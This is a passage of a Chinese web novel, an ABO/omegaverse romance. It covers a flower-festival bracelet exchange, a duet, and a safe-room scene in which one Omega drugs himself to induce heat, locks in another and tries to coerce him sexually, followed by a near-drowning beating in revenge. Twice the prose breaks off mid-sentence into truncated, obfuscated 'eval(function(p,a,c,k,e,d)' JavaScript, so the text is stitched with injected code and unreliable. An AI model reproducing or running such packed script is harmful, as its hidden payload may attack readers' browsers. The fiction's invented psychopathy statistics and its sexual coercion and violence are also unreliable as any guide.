林言之前看见过,花朝节赠送手环也有向花神祈福、保佑受赠者的意义。 他将最后一枝三色堇插进手环里固定好。即使知道一只小小的手环并不能让时绮的病好起来,还是认认真真道: “希望我们小绮身体健康,平安快乐。” “谢谢,你也一样。”时绮不太好意思地收下手环,同样认真地说,“平安快乐。不要生病,也不要有太多烦恼。” 他想了想,又向林言伸出手:“你帮我戴上吧。” 秦书赫不知道他有腺体退化,但是看林言说得颇为郑重:“那我的也给时绮了,助力你今晚登台演出。” “什么?” “你们不知道吗?获得最多手环的会被主办方邀请上台表演,去年被邀请那哥们儿给大家来了一段相声。” 秦书赫将自己的手环套在时绮手上,宛若派将士出征一般拍了拍他的肩膀:“今晚派你上去给祁江的朋友们载歌载舞一段,好好跳,好好演。” “……” “对了,你的手环要给谁?” 林言提醒:“你要不仔细看看他编了什么进去?” “哦~”注意到手环上一簇簇纯白柔软的小花,秦书赫声音拖得老长,“自己的信息素都编进去,我知道要给谁了。” “……”见商随看向这边,时绮耳根一热,作势要将手环塞给秦书赫,“我就随便编编,你拿去吧。” “别!皇上您要杀要剐一声令下便是,别这样陷害忠臣——” 感觉到背后那道令人倍感压力的目光,秦书赫诚惶诚恐:“明鉴啊哥!我碰都没敢碰一下,今晚写生千万别给我打低分!” 不等商随开口,有人走到时绮面前,弯下腰和他对视。 是个气质优雅的女性Alpha,她将一只娇艳的香豌豆手环递给时绮:“你好呀,可以请你收下这个吗?” 女A姐姐啊,好少见的。 ……不对,明明是大白天,哪来一股寒气。 秦书赫下意识看向另一个人。 商随撑着脸,尽管还在笑,浑身却散发出无法忽视的怨气。 Alpha试着要手环,时绮摇摇头。 她露出遗憾的神色,很快笑着说:“没关系!祝你天天开心,度过一个愉快的花朝节。” “也祝你天天开心。” 如同拉开序幕,接下来时绮又陆陆续续收到许多手环。大家脸上都挂着笑容,即使被拒绝也不介意,反而会送上祝福。 傍晚时分,时绮的手环终于编好,他耗费不少功夫,成品格外精致。 摊主小姑娘坚决不收他们钱,趁着秦书赫和她说话,林言偷偷去扫了码,比了个OK的手势。 走之前,她跑过来叫住他们。 以为给钱被她发现,林言和时绮对视一眼,小姑娘却将一只花篮塞给时绮:“哥哥,给你这个。” 她又往商随手里塞了一个:“这个哥哥也是。” 他俩的手环多得都快拿不下,时绮将收到的手环装进篮子,和她道谢。 “前面两位,留步留步!” 一道热情洋溢的声音突然插了进来:“有兴趣参加我们的活动吗?我一路过来看见你俩的手环最多——哇啊啊啊小绮!真的是你!!” 女生胸口挂着主办方的工牌,见时绮回过头,激动得语无伦次。 真人怎么比照片里还好看啊? 难怪见过本人的都说镜头不能还原美貌,完全就是会说会笑的大号洋娃娃。 “我关注你好久了,好像做梦!” 时绮不知道该说什么,她以为他不相信,作势要掏手机:“稍等稍等,给你看我的关注列表。” 商随恰到好处插话:“什么关注列表?” 上次舞蹈比赛商随抱他下台的事情时不时就要被翻出来品味,一想到隐藏在评论区里的黄暴言论,时绮眼疾手快阻止她:“不用,你们活动怎么报名?” “在我这里登记一下就可以,一会儿六点钟来广场中央的喷泉池,有个乐队表演的地方。我们会再清点一次手环。完成表演有奖励哦!接下来的一年每个月都能收到祁江的鲜花。”她强调道,“超大一束!很漂亮的。” 她说完看向商随:“帅哥你也要登记吗?估计今年收到最多手环的就在你和小绮之中。你们是朋友?” 商随笑吟吟地回答:“情侣。” 女生看看这个又看看那个,幸福得快要昏厥:“天哪猫宝宝,你好会找老公!和你太配了!” 等她离开,商随柔情似水道:“老公,她说我们很配呢。” 时绮脸一热,想也没想纠正:“你听错了吧?她说你是我老公。” 难得碰上这么好骗的,商随眉开眼笑:“哎呀,原来是这样。” “……”时绮总感觉自己被占了便宜,却又没有证据。 距离六点不到半小时,他们穿过百花编织的拱桥,慢悠悠走向广场。 像是某种职业病,时绮发现秦书赫和商随都很喜欢拍照,时不时就会用镜头记录下身边美丽的画面。 路上好几个美院的学生过来给商随送手环,时绮留在原地,有人在这时叫了他的名字。 他回过头,郁知玲笑嘻嘻地递来一串红色的鸢尾手环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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知道时绮吃软不吃硬,他说到后面故意装得委屈巴巴,想博取同情。 服了。 商随在心里嗤了一声。 挑完事还好意思装可怜,没见过这么怂的。 郁知玲说完见时绮还是不理人,想和往常一样去挽他的胳膊,再撒撒娇蒙混过去。 时绮却先一步抓住商随的手,神色淡淡:“我男朋友本来就这样,你让让他。” “……” 郁知玲的手臂僵在原地,没想到自己会被避开,更没想到时绮会挡在商随前面。 商随怔愣片刻,很快回握住时绮:“快六点了,我们去广场那边吧?” 时绮点了点头。 他虽然迟钝,刚才闹那么明显,是个人都能看出郁知玲和商随不对付。 就算再不喜欢Alpha,也没必要这样吧。 林言原本已经走出一段距离,见情况不太对,回来打圆场:“你也在啊,一起吧?听说广场那边有演出。” 郁知玲咬咬牙,很快调整好表情,点头答应。 落日照射下,广场中央的喷泉池折射出钻石般耀眼的光彩。 附近的乐队正在演唱一首旋律悠扬的英文歌曲,许多游客驻足聆听。 “你们来啦!”女生怀中抱着登记册,兴高采烈打招呼,“来这边数一下手环数量。” 时绮将自己和商随的花篮递了过去。周围还有其他几位工作人员,大家都没见过这个阵仗,惊讶片刻后,很快围在一起数数。 核对完两边的手环数量,女生跑去跟一位年长些的工作人员说了什么,对方思考过后点点头。 “告诉你们一个坏消息,你俩的手环数量一模一样,刚好持平。”女生回来时笑着提议,“不过还有一个好消息,有没有兴趣都上台表演呢?我们刚才已经确认过,奖品可以破例给两份。” “稍等一下,我的还没给出去。” 商随将自己的手环取下来。时绮意识到什么,手指微微动了动。 “节日快乐,希望你过得幸福。” 几乎是他一伸出手,时绮立即将手掌搭上来,仿佛等候已久。 还真是猫宝宝,人一伸手就凑过来了。 商随眼里不自觉漾开笑意:“第一次看见你的信息素就想说,如果要我想象,世界上没有比它更合适你的花。” 这种如灯如露、一簇簇盛开的花朵寓意纯洁的爱,久别重逢,失去后再度获得的喜悦。 时绮的信息素是铃兰,花语意为“幸福归来”。 听起来像童话故事里才配存在的美满结局,曾经对他而言是难以触及的奢求。 他在十七岁和时绮相遇又分离。平心而论,这些年他过得不算差。他也告诫过自己,人不是只有活在十七岁那场盛夏才叫活着。 可他始终对一切兴致缺缺,偶尔在清晨醒来,内心会生出无法遏制的空虚和厌倦。 商随怀揣私心,将铃兰手环轻轻套进时绮的手腕,模棱两可地说: “可以的话,希望命运能和它的花语一样。” 再完满一点,连同失去的旧日也一并归来。 女生从头围观到尾,捂着嘴想要尖叫,却又不忍心打破此刻美好的氛围。 天哪,好像求婚现场……! 时绮在他温柔的注视下蜷缩起手指,另一只手小心翼翼碰了碰柔软的花瓣,回过神来,想把自己的手环摘下来给他:“那我的也——” “不用给我。”商随先一步道,“把祝福留给自己吧,小绮。” 花朝节编织的手环同样可以留下,寓意自爱与自我祈福。 虽然一开始很想和时绮交换,但相比之下,好像还是希望他更爱自己。 时绮同样想到这层寓意,不假思索道:“那你的手环不要给我,你也留给自己。” 30.秘密 听见他的回答,商随眼里流露出怔愣的神色。 他脸上的神情称得上茫然,似乎从未想过这种可能性。 时绮最后看了眼手腕上盛开的铃兰。尽管很舍不得,还是伸出手,准备把才戴上的手环取下来。 “——来来,都听我一句劝。”秦书赫突然冒出来。 “时绮的,哥你收下。”他一边说,一边将时绮拿手环的手放进商随手里,同时阻止时绮想取下另一只手环的动作,“至于哥的,时绮你收好——给都给了,哪有退回来的道理?” 时绮下意识朝商随看去,后者似乎也没反应过来,竟是真的按照秦书赫的指挥收下手环。 “好了,现在他俩交换完毕,数量还是一样。”秦书赫如同婚礼司仪一般,“那咱们这个交换戒指的小仪式就结束了,可以上台演出了哈!” 好几个工作人员被逗笑,闻言啪啪鼓掌。 林言朝他竖起拇指,回过头时,像是不经意对身旁的郁知玲说:“秦书赫真能闹腾,弄得跟结婚似的。” 从头看到尾,郁知玲本就憋屈难耐,看见时绮把他梦寐以求的手环给了商随更不是滋味。 但被林言看着,他不得不勉强笑了两声:“嗯、是……你们这个朋友真有意思。” “那你们打算表演什么?”女生兴致勃勃地问,“要跳舞吗?” 受秦书赫启发,她提议道:“可以让乐队给你们演奏婚礼进行曲,或者来一首浪漫的爵士乐?” “是是!跳个双人舞。”旁边一位工作人员举着相机,似乎已经看见泼天的流量,“两位颜值这么高,大家肯定特别爱看!” “……” 商随试着想象那个画面,不由得沉默。 他无奈地朝时绮笑了一下:“怎么办,我不会跳舞。” 基本的交谊舞他倒是会,但表演这个也太搞笑了。 尽管如此,他也没说把手环还回去,让时绮一个人上台。 时绮接收到他求救的目光:“会唱歌吗?” 美院的集合时间定在六点半,现在已经六点十分。 秦书赫看了一眼,商随和时绮还在跟乐队沟通曲目,从广场到集合地点至少需要二十分钟。 秦书赫在手机上找到另一位带队老师,噼里啪啦打了一串字,而后邀功似的凑到商随身边:“哥!我帮你跟何老师说好了,她先帮忙看着,你不用着急。” “何老师还让我录个视频,她也想看你跟你老婆表演。” “……”时绮瞪了他一眼,“金刚鹦鹉,你说话能不能讲究点儿?” “谢谢。”商随朝他一笑,在心里给秦书赫记了一功。 秦书赫只捡好听的话,自动忽略时绮的眼刀:“嘿嘿,应该的!” 他好奇地问:“对了,你们最后选的哪首歌?” 看见歌名,秦书赫一愣。 不是说歌不好,这首歌他特别喜欢,但是…… “你俩怎么唱这么悲伤的歌?”秦书赫说完,又自圆其说道,“也好也好,对比去年那个嬉皮笑脸说相声的,我们就要阴暗爬行。” 每年花朝节,收到最多手环的表演者通常外表出众,或是特别有个人魅力。游客们早早聚集在广场上,对演出翘首以盼。 在工作人员宣布今年一对情侣收到的手环的数量持平、会一并登台表演之后,现场传来了一阵小小的欢呼。 “我来祁江过了三年花朝节,还是第一次遇见这种情况。” “哎那边那边,出场了!” “我天,顶级!如果上一秒我还在怀疑黑幕,这一秒只能说实至名归。” “帅哥旁边还是帅哥,好般配的两张脸!” 天色暗下,华灯如昼,夜风中融入盈盈花香。 就像秦书赫说的,他们最后选定的是一首苦情歌。 歌里的主角有了心仪对象,在暗中注视对方、记录下他的一切喜好,初次见面便像默契的多年好友。害怕被看穿蓄谋已久的爱意,小心翼翼掩盖真相。 “为什么选这首歌?”最初看见商随选中的歌曲,时绮也有些意外。 “因为……” 曾经的我幻想着,如果有一天能和你重逢,大概就和歌里的“我”一样。 他答非所问:“听得比较多,自然就学会了。” 前奏的电吉他和弦与轻盈的鼓点组成失重感十足的音效,如同穿越洒满橙黄色灯光的海底隧道。 时绮一直很喜欢商随的声音。第一次听他唱歌,沙沙的音色与偏阴沉的和弦结合,却并不低哑厚重,反而突出了声音的质感,显得格外清透。 “比谁都装腔作势的一张脸,先声夺人同你说初次见面。” 商随握着话筒,心有所感侧过头。 时绮正盯着他看,平日里灵动的猫眼显露出懵懂的神色,似乎听得入迷。 “暗中挂念许久,登台才不逊色知心好友。” 时绮回过神来,朝他做了个口型:好听。 笨蛋。 商随没忍住笑了一下。 你知道我真正想说的是什么吗? 笑什么,夸你还不行? 你要不去打听打听,我很少夸谁唱歌好听的。 时绮在心里腹诽,须臾过后,也跟着笑起来。 到了时绮的部分,他在心里数着节拍。 唱歌对他来说十分容易,登台演出也是家常便饭。 但在这个夜晚,似乎有什么与过往都不同的东西驻留在身边,心脏像是自由自在随风摇曳的孢子,慢悠悠漂浮上天空。 主歌部分时绮故意收着嗓子,灌入话筒的嗓音清澈动人,似泠泠碰撞的冰块。到副歌才真正把声音放开: “害怕拨雪现痕,以花作举证。” “属我窃窃私语的心和舌最是不轨,掩盖锈迹也要竭力美观。” 秦书赫在前排听得摇头晃脑:“哎你别说,他俩唱歌真好听,音色也配!你要不说我还以为是哪来的乐队主唱。” 想起时绮说他是金刚鹦鹉,秦书赫以德报怨:“跟两只小百灵鸟似的,十分美妙啊!” 林言原本在专心录像,终于忍无可忍:“你能闭嘴吗?百灵鸟的歌声里全是你的鬼叫。” 原本郁郁寡欢的歌曲莫名其妙变得甜蜜,在最后一段迷离梦幻的伴奏中徐徐结束。 现场观众意犹未尽,突然有人大着胆子尖叫一声:“能不能亲一个——!” 秦书赫也跟着嚎叫:“亲嘴、打啵儿、KissKiss!选一个吧宝宝们!” 时绮从没经历过如此奔放的谢幕,手一滑,话筒差点儿落下来。 商随眼疾手快抓住他的话筒,用只有两人能听见的音量调笑道:“这么激动,小绮很想和我亲亲啊?” 时绮的目光不由自主落在他的唇上。 润红的唇瓣微微上翘,伴随说话时的吐息,似是散发着蛊惑人心的香气。 时绮眼神迷离了一瞬,回过神来恼羞成怒:“你做梦,我才不想!” 尽管听不清他们在说什么,明显看得出是小情侣在打打闹闹。 周围一片哄笑,而后传来持续不绝的掌声。 商随收起不正经的模样,柔声称赞:“小绮唱歌很好听哦。” 落在身上的眸光宛若一圈圈扩散的涟漪。在他的注视下,时绮的心跳比歌唱时还要快。 他移开视线,故作镇定:“你也不赖。” 表演结束,秦书赫第一时间迎上来,煞有其事问:“两位有没有兴趣出道呢?我们这边可以先签一个五年的经纪约,并配备相应的团队……” “得了,别演。”时绮打断他,“你们不是赶时间?快走吧。” 一直让另一位老师帮忙不太好,商随点点头:“那我先走了,晚点见。” 等他们走后,林言忽然愁眉苦脸道:“完了,我有点儿想吐。” 刚才演出的时候他就不太舒服,一直强撑没说。 “你是不是吃太多刨冰了?” 下午编手环的时候,旁边有一家刨冰店。 林言一个人吃了三份花生牛奶刨冰,出现这种情况也不是很意外。偏偏附近的厕所还有一段距离,时绮和面色惨淡的林言一起,郁知玲在后面默默跟了上来。 上完厕所,时绮在外等候。 言言:[你们先走吧。] 言言:[我吐不出来,还要酝酿一会儿。] 17:[……好,你加油。] 郁知玲看时绮背对自己回复消息,手指一点点掐进掌心里。 自从和商随发生冲突,时绮一直没主动和他说话,就算他开口时绮会答应,也显得十分冷淡。 原本准备等时绮回酒店再想办法独处……没想到机会来得这么快。 周围一个人都没有。郁知玲深吸一口气,趁时绮的注意力集中在手机上,他从包里掏出药剂盒,将一大把药片倒进手里吞了下去。 这种药能调节Omega的发情期,一旦吃下,发情期能提前到来,因药物直接作用于腺体,信息素会率先溢出,身体的其他部位要晚一些才会出现相应的反应。 简单来说,服药后信息素先一步进入发情期的状态,但他本人暂时不会受到太大影响。 最开始他是因为工作繁忙服药,后来和其他Omega搅在一起的时候,他都会用药物调整发情时间,令自己处于更为清醒强势的状态,副作用是信息素紊乱、精神状况不稳定。 时绮动了动鼻尖,忽然闻到一股浓郁的鸢尾香味,略带脂粉气的味道将他笼罩其中。 “你……” “小绮,”郁知玲似是无措地抓住他的手,“我好像发情了。” 时绮这次没有避开他,眼里流露出紧张的神色:“抑制剂呢?” 郁知玲红着眼睛摇摇头。 时绮自己的发情期才过不久,身上根本没有抑制剂。他赶紧给林言发了一条消息。 17:[有抑制剂吗?] 言言:[啊?我今天没带。] 言言:[是郁知玲吗?] 林言很快发来一张截图。 言言:[我搜了一下,附近一公里出头有安全屋,快过去!] 安全屋是为Omega设置的紧急避险场所,能最大程度隔绝信息素,并且配备有足量抑制剂。近些年在景区、商场等人员密集的场所都有设置。 Omega发情会相互影响。但时绮身上商随的标记还没退去,短时间内,不会被郁知玲的信息素诱导发情。 让郁知玲一个人过去实在不安全,时绮当机立断:“走吧,我陪你去安全屋。” 幸运的是,所有人似乎都赶去参加节日,这条通往安全屋的小道十分偏僻,一路上没遇见意外。 郁知玲的状态似乎很不好,时绮看他都快站不稳,主动伸手扶住他。 灼热的呼吸贴着后颈,时绮的腺体本就敏感,一想到郁知玲现在的状态,他忍了忍,没有说话。 到了安全屋门口,郁知玲用手机扫码。时绮见状背过身。 “你设密码,我不看。” 安全屋的密码由使用者自行设置,与室内存放抑制剂的储藏柜密码默认一致。 时绮背对着郁知玲玩了一会儿手机,始终没听见开门的动静,迟疑地问:“你设好了吗?” 开门声在这时响起,发情期的Omega理应手脚乏力,听动静,郁知玲却是将门一脚踹开。 一双手从后搂住时绮的肩膀,黏稠的声音缠绕上来—— “再多陪陪我吧。” 啪嗒一声,时绮的手机掉落在地。 郁知玲伸出手,将毫无防备的时绮扯进屋子里。 如果时绮不陪他来安全屋就算了,一切到此为止。 但明知Omega发情会相互影响,时绮却依然选择陪他。 你也放不下我对吗? “你干什么?” 时绮见他竟是反手落锁,将自己一并关了进来,终于意识到不对。 他下意识想推开郁知玲,对方的力气却大得惊人,根本不像处于发情期的Omega。 郁知玲目光灼灼:“我喜欢你……小绮,我一直都喜欢你。” 时绮动作一僵,几乎怀疑自己听错。 “从你救了我的那一天起,我根本忘不了那副画面,”郁知玲喃喃道,“你在我眼里就像会发光一样。” “我知道你不喜欢Omega,如果说出来,一定会离我远远的。” “可我忍不住。”郁知玲抓住他的手臂,哀哀地看向他,“你也喜欢喜欢我吧。” 时绮受到的冲击太大,一时半会儿反应不过来。 “我有男朋友。”他逼迫自己冷静,“我只把你当朋友,我们不可能有别的关系。” 被他拒绝,郁知玲垂下头,许久没有说话。 压抑的声音如同裂口腐烂后流出的脓水,喑哑得近乎怪异:“你不是答应过我吗?要和我在一起。” 再度抬头,郁知玲眼里染上丝丝怨毒:“你为什么要谈恋爱?还是和Alpha……你明明知道我最讨厌Alpha!” 时绮不可思议道:“你在想什么?那只是开玩笑!” “是啊,是开玩笑。” “毕竟你就像活在玻璃球里的小人,什么都不懂。” “如果你一直谁也不喜欢,我一定会把心意藏得好好的。” 时绮再也听不下去:“够了,别说了。” 他的抗拒似乎取悦到了另一个人,时绮听见耳畔传来笑声,而后是露骨的絮絮低语: “别着急啊,听我把话说完。” “我知道你有男朋友,我讨厌Alpha,但如果是你的话,我可以做到不介意。”郁知玲自顾自道,“我就当他不存在。” 他已经分不清是药物造成的副作用、还是原本的想法,光是感觉到时绮在他触手可及的地方,被他的信息素包裹着,郁知玲的精神格外亢奋,脸颊潮红,兴致勃勃提议: “我们瞒着商随在一起吧?” 时绮没想到他会有如此荒谬不堪的想法,仿佛无数只湿漉漉的虫子爬上肌肤,时绮被恶心得够呛,双手用力一推—— 郁知玲没料到他突然爆发,猝不及防踉跄着往后退,险些没站稳。 时绮趁机转过头,手指刚碰到密码锁,就情不自禁骂了一句脏话。 安全屋是双重锁,没有密码,从内同样无法开启。 郁知玲似乎还想凑过来,时绮头也不回给了他一下,恶声恶气警告:“滚开!” 他的手肘刚好重重撞上郁知玲的腹部,后者闷哼一声,吃痛地弯下腰。 Omega发情能相互影响,时绮现在还没有任何异常,身上应该是有Alpha的标记。 即使如此,仅仅靠一个标记也坚持不了太长时间。 郁知玲捂着腹部,痛得直抽冷气:“好,我不过来。” 下手真狠,还真是一点儿都不客气。 时绮懒得跟他废话,目光看向存有抑制剂的储藏柜。 因为刚才那番争执,郁知玲身上的信息素愈发浓烈,室内的检测装置开始发出警报,灯光从代表安全的绿色变为黄色、而后是橙红,提醒处在发情期的Omega尽快注射抑制剂。 该死。 储藏柜的密码和门锁一样,他都没法强行给郁知玲一针,至少先让对方停下发情,遏制住信息素的源头。 想到这里,时绮收回目光,试探性地动了动手指。 已经过去很长时间,身体却丝毫没有发情期来临前应有的酸软和热意。就好像和平日没有任何不同,时绮心里逐渐浮现起意外。 奇怪。 即使他身上有商随的标记,但郁知玲的信息素浓郁到这个地步,又是在如此狭窄的空间,按理来说多多少少会受到影响。 可他甚至感觉精神被剥离出来,格外冷酷地注视着另一个发情的Omega,像在看待全然与他无关的事物。 是因为腺体退化吗?可以前林言发情的时候,他的确受到过影响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“而且Omega和Omega在一起很多Alpha不介意,你相信我,这种事情我见过太多了。说不定他反而会觉得刺激,他会更爱你的——” 时绮实在听不下去,一脚踹上郁知玲的胸口。 他气得太阳穴发疼,这一下用了十足的力气,郁知玲直接被踹飞出去。小小的安全屋本就没多大空间,郁知玲的身体重重砸上墙面。 他无法遏制地爆发出一阵剧烈的咳嗽,嘴角很快渗出血丝。 “……你打我吧,如果能让你解气,我什么都愿意做。”郁知玲用手背擦掉血迹,边咳边道,“反正你也出不去,和我试一次好不好?” “我技术很好,也是在上面那个。和Alpha不一样,Omega才懂Omega,我一定会让你舒服。” 时绮终于开了口,眼中流露出直白的厌恶:“你为什么会变成这样?” 郁知玲愣愣地看着他。 比起打骂,这样冷淡的回应更令人感到刺痛。过往每一次都是他抛弃别人,他误以为自己魅力四射,即使插足他人的感情也会被接纳。 更令他难以理解的是,时绮始终不曾受到他的信息素影响,丝毫不见被诱导发情的迹象。 为什么会这样?难道时绮就这么厌恶他,已经到了足以抵抗生理本能的地步? 半晌过后,郁知玲才低声道:“说不定我本来就这样。” 时绮不想搭理他,郁知玲却像受了刺激,自顾自地说: “所以无论怎么样,你都不会考虑我,是吗?” “你就这么喜欢那个Alpha?” 他越是冷漠,郁知玲就越崩溃。到后面终于支撑不住,颤抖着声音问出埋藏在心底的问题:“你是不是后悔当初救了我?” 时绮没有回答他的问题,而是冷声道:“你现在告诉我密码,我就当这件事没发生过。” 如同下达宣判,他看向跪坐在地上的郁知玲:“我们不用再见面,我不会找你的麻烦。” 他不后悔救了郁知玲。 无论换作是谁,那天他都会帮忙。 尽管遇上这种事很恶心,但他没有被诱导发情,也没受到伤害。 无论郁知玲原本想做什么,现在反而是对方挨了他一顿揍,被他踹出了血。 看在认识这么多年的份上……如果到此为止,那就算了。 门外突然传来撞击的声响。安全屋隔音太好,正常情况下,几乎不可能听见外界的响动。相应的,外界也无法听见里面的声音。 能闹出这么大动静,外面不知道是何等混乱的情况。 但郁知玲现在对一切无暇关心。他看着时绮冷若冰霜的脸,内心竟是涌上强烈的不舍。 无论是表白、引诱、下跪恳求……他能做的都做了。 他还记得当初那名投资人的下场,最多只敢将时绮困在这里,并不敢真正强迫对方。 他原本想利用信息素诱导时绮发情,半推半就发生关系,可时绮却一点儿不受影响。最大的依仗毫无预兆失去了作用。 时绮愿意给台阶,顺着下才是最好的做法。 郁知玲强忍着心里的不舍,低声回答:“密码是我们初遇的那一天。” 时绮受够了这些的把戏,面无表情道:“说数字,我不记得是哪天。” “……” 郁知玲自嘲地笑了一声,报出一串数字。 时绮正准备输入密码,门板突然传来一阵剧烈的颤动。 为了确保使用者的安全,安全屋的门板和密码锁都是特质的复合金属材料。按理来说,几乎不可能被人徒手从外界破坏。 时绮意识到不对,立即往后退。 一下、两下—— 门外的动静越来越大,令人感觉整座房屋都在震动。下一瞬间,门锁竟是被生生踹开,室内外的报警器同时爆发出尖锐的鸣响! 看清楚闯入者的模样,时绮的脑海空白了一霎: “你怎么……” 陌生的信息素铺天盖地涌来,裹挟着浓稠的欲望。商随很快意识到这里发生了什么。 确定时绮没有大碍,他的目光慢慢转动,落在郁知玲身上。 Alpha浅褐色的瞳孔似蛇类竖瞳般收束须臾,透出一种原始的、近乎嗜血的冷静。 商随一字一句道:“你真是想死。” 郁知玲在巨大的压力下浑身发抖,身体抽搐,被时绮踹过的胸口传来一阵剧烈的疼痛,哇地一声吐出一大滩鲜血。 他一边咳嗽一边流眼泪,喉咙里不受控制发出赫赫的声响,宛如一只残破的风箱。 时绮没想到他会有这么大的反应,看起来几乎像要死掉,一时间愣在原地。 郁知玲终于从那阵恐怖的威压中缓过神来,倏忽意识到不对。 按理说来,房间内的信息素浓度已经到达极限,但凡换个普通的Alpha开门那一刻就会失去理智。就算不扑上来,第一反应也绝不可能是攻击。 “我知道了……!” 郁知玲盯着商随,像是看见了什么极为罕见又极为骇人的存在:“你是特殊易感期的Alpha,对不对?” 只有特殊易感期的Alpha才能在Omega发情时不受影响,除了更为强大的同类,信息素对他们而言没有任何作用。 一切都串联在一起。郁知玲转而看向时绮:“你身上有他的标记,所以你才能从头到尾不受我的影响——因为特殊易感期的Alpha……那个词怎么说来着?高人一等!哈?真可笑!……明明就是一群控制不了自己的怪物!” 见时绮同样不知所措,郁知玲像是发现了什么极为荒谬的事情,突然爆发出一阵哈哈大笑。 先前快要失去的不舍全部化为强烈的恶意,他几近怜悯地注视时绮: “怎么办啊,小绮?” “这么可怕的事情,你看起来居然一点都不知道。” 31.护短 特殊易感期……?商随? 时绮的脑子慢半拍转动,尝试将这两个关键词联系在一起。 耳畔那道尖锐的声音还在说着什么,带着奚落的笑意。郁知玲像是突然抓住了他和商随的把柄,先前灰败的脸透露出洋洋得意的色彩: “这么大的秘密,你竟然完全不知情。” “不对、不对……他当然不会告诉你了!” 郁知玲的目光转向商随,先前还处于暴怒之中的Alpha一动不动,仿佛被强行钉在原地,周身散发出压抑可怖的气势。 他毫不怀疑,如果不是时绮在场,在他说出他的秘密时就会被扼住喉咙,说不定会直接死在这里。 但郁知玲看得出来,商随在无措,他已经无暇顾及他的话,而是在等待时绮的反应,如同死刑犯垂首等候宣判。 真有趣。 不是相互喜欢、对彼此忠贞不渝吗? 意识到他们之间存在如此大的隔阂,郁知玲异常兴奋,挑拨离间的心思全然止不住,甚至忘记了先前濒死的恐惧: “小绮,你真是胆大,居然敢跟这种怪物交往。” “你知道吗?特易期的Alpha出现精神变态的比例是3:7——也就是说,每十个特殊易感期中就有三个可能成为杀人犯。即使没有犯罪,心理扭曲的程度也不是正常人能够想象的。” “精神变态一定会玩弄并折磨伴侣。这是实打实的统计资料,没有一个例外。” “逼疯一个人对他们来说再容易不过。你以为他很喜欢你?其实他只把你当成唾手可得的玩具、实验对象……没准是犯罪目标。” “你要去赌十分之七的可能性吗?听起来概率很大,但赌注是你的生命,正常人都会想离得远远的吧?”郁知玲越说越激动,脸颊通红,“就算你赌对了十分之七,他易感期的时候也比一般Alpha危险得多,绝不是你能够想象的。” “……闭嘴。”时绮终于开了口。 郁知玲站了起来,摇摇晃晃往前走,丝毫不顾时绮的警告: “说不定哪天醒来,你就被他关在谁也找不到的地方。” “囚禁都是轻的,你看过报道吗?有一个傻乎乎的Omega和特易期的Alpha相恋,被砍断四肢后还要被用来泄欲,求生不得求死不能!你男朋友连在你面前承认特殊易感期都做不到,说不定比他们更恐怖呢!哈哈哈哈哈哈哈哈!” “为什么要瞪我?如果不是我,你要等死了才知道这件事……你应该感谢我才对!” 时绮抬高声音:“我说,你给我闭嘴——!” 充满煞气的音色令郁知玲不自觉顿住脚步。时绮抬起头,深灰色的眼睛充斥着冰冷暴戾的怒火。 在郁知玲反应过来之前,时绮抓住他的肩膀,猛地往旁边一砸! 郁知玲的脑袋重重撞上了墙,幸亏安全屋内部做了防撞处理,柔软的墙体材料令他不至于头破血流。 但强烈的冲击仍是令郁知玲大脑空白了一秒,险些失去意识。 时绮一脚踹在他的膝盖上,骨骼碰撞传来清脆的声响,郁知玲痛得发出一声惨叫,被迫跪倒在时绮面前。 时绮却越来越愤怒,一想到刚才那些话,心脏像是被带有毛刺的刀片生生切割,在柔软的内部肆意搅动。 “很得意是吧?说这么多很开心?” “小绮……!” 商随见时绮情绪快要失控,下意识上前一步。时绮先一步抓着郁知玲的头发,把人拽进厕所。 安全屋内的厕所十分狭窄,时绮将郁知玲拖到洗手台边,按下水槽塞。郁知玲头晕目眩,不知道他究竟想做什么。 时绮打开水龙头,一把将郁知玲的脑袋按了进去! “帮你洗洗这张臭嘴,不用谢。” 时绮气到极点,声音反而变得格外冷酷:“哦,脑子也一起洗了吧。” 说话的同时,时绮加大力气,两只手都压上来。郁知玲整张脸被猛烈的水柱不断冲刷。 为了帮助使用者节省时间,安全屋内水压强劲,洗手台里水面迅速上涨,很快淹没过口鼻。 求生的本能令郁知玲疯狂挣扎,按在他头上的手却纹丝不动。 商随站在外面,神色怔然,恍惚地注视时绮的背影。 精神变态、疯子、潜在杀人犯……类似的话语在他成长过程中出现过无数次,朝他投来的一道道目光里有的只是单纯的好奇,有的则充满审视,甚至于怀揣恶意。 他最初当然在意,也为此感到万分痛苦。但他人的疑目无法改变,他逐渐开始无视一切。 他知道自己是什么样,没必要费尽心思向任何人自证。 特殊易感期的Alpha十分之三是精神变态,剩下的十分之七则不约而同选择隐藏身份,尽可能避免在人群中暴露端倪。毕竟没有人希望自己成为异类。 但归根结底,他们始终比一般人强悍,即使是异类也是强大的异类。 可是看时绮的反应,就好像他才是更容易受到伤害的那一个。 “清醒了没。” 在郁知玲以为自己会淹死在水池里时,时绮扯住他的头发,将他一把提起来。 郁知玲的耳朵灌满了水,听见的声音格外不真切,却能听出那股沉沉的怒意:“不是都说闭嘴吗,怎么,你听不懂人话?” 郁知玲不知道时绮哪来的这股疯劲,明明他比时绮高出一截,此时此刻却完全没有反抗的能力。 甫一接触到空气,郁知玲大口大口呼吸,鼻翼因为缺氧而收缩,喉咙也呛住:“我……咳咳…你……!” “你算什么玩意儿,谁准你那么评价他?” 不等郁知玲说完,时绮手掌倏忽下压,又将他整张脸按进水池里。 就这么来来回回好几次,郁知玲几乎以为这场酷刑将永远持续下去,时绮终于甩开手。 郁知玲彻底失去力气,捂着脖子趴在地上干呕。 如同触碰过什么肮脏的东西,时绮用洗手液和消毒液仔仔细细地洗干净每根手指,看也不看他一眼。 “——你们在做什么?!” 门外倏忽传来一道惊怒的声音。 安全屋内的报警器一直没停过,附近巡逻的工作人员匆匆赶来,看见现场的状况大惊失色:“发生什么了!怎么回事?!” 被强行闯入的安全屋、疯狂作响的警报、还有跪趴在卫生间嘴角渗血的Omega…… 他下意识看向在场唯一一个Alpha:“是你做的吗?” 时绮上前一步,正要解释。 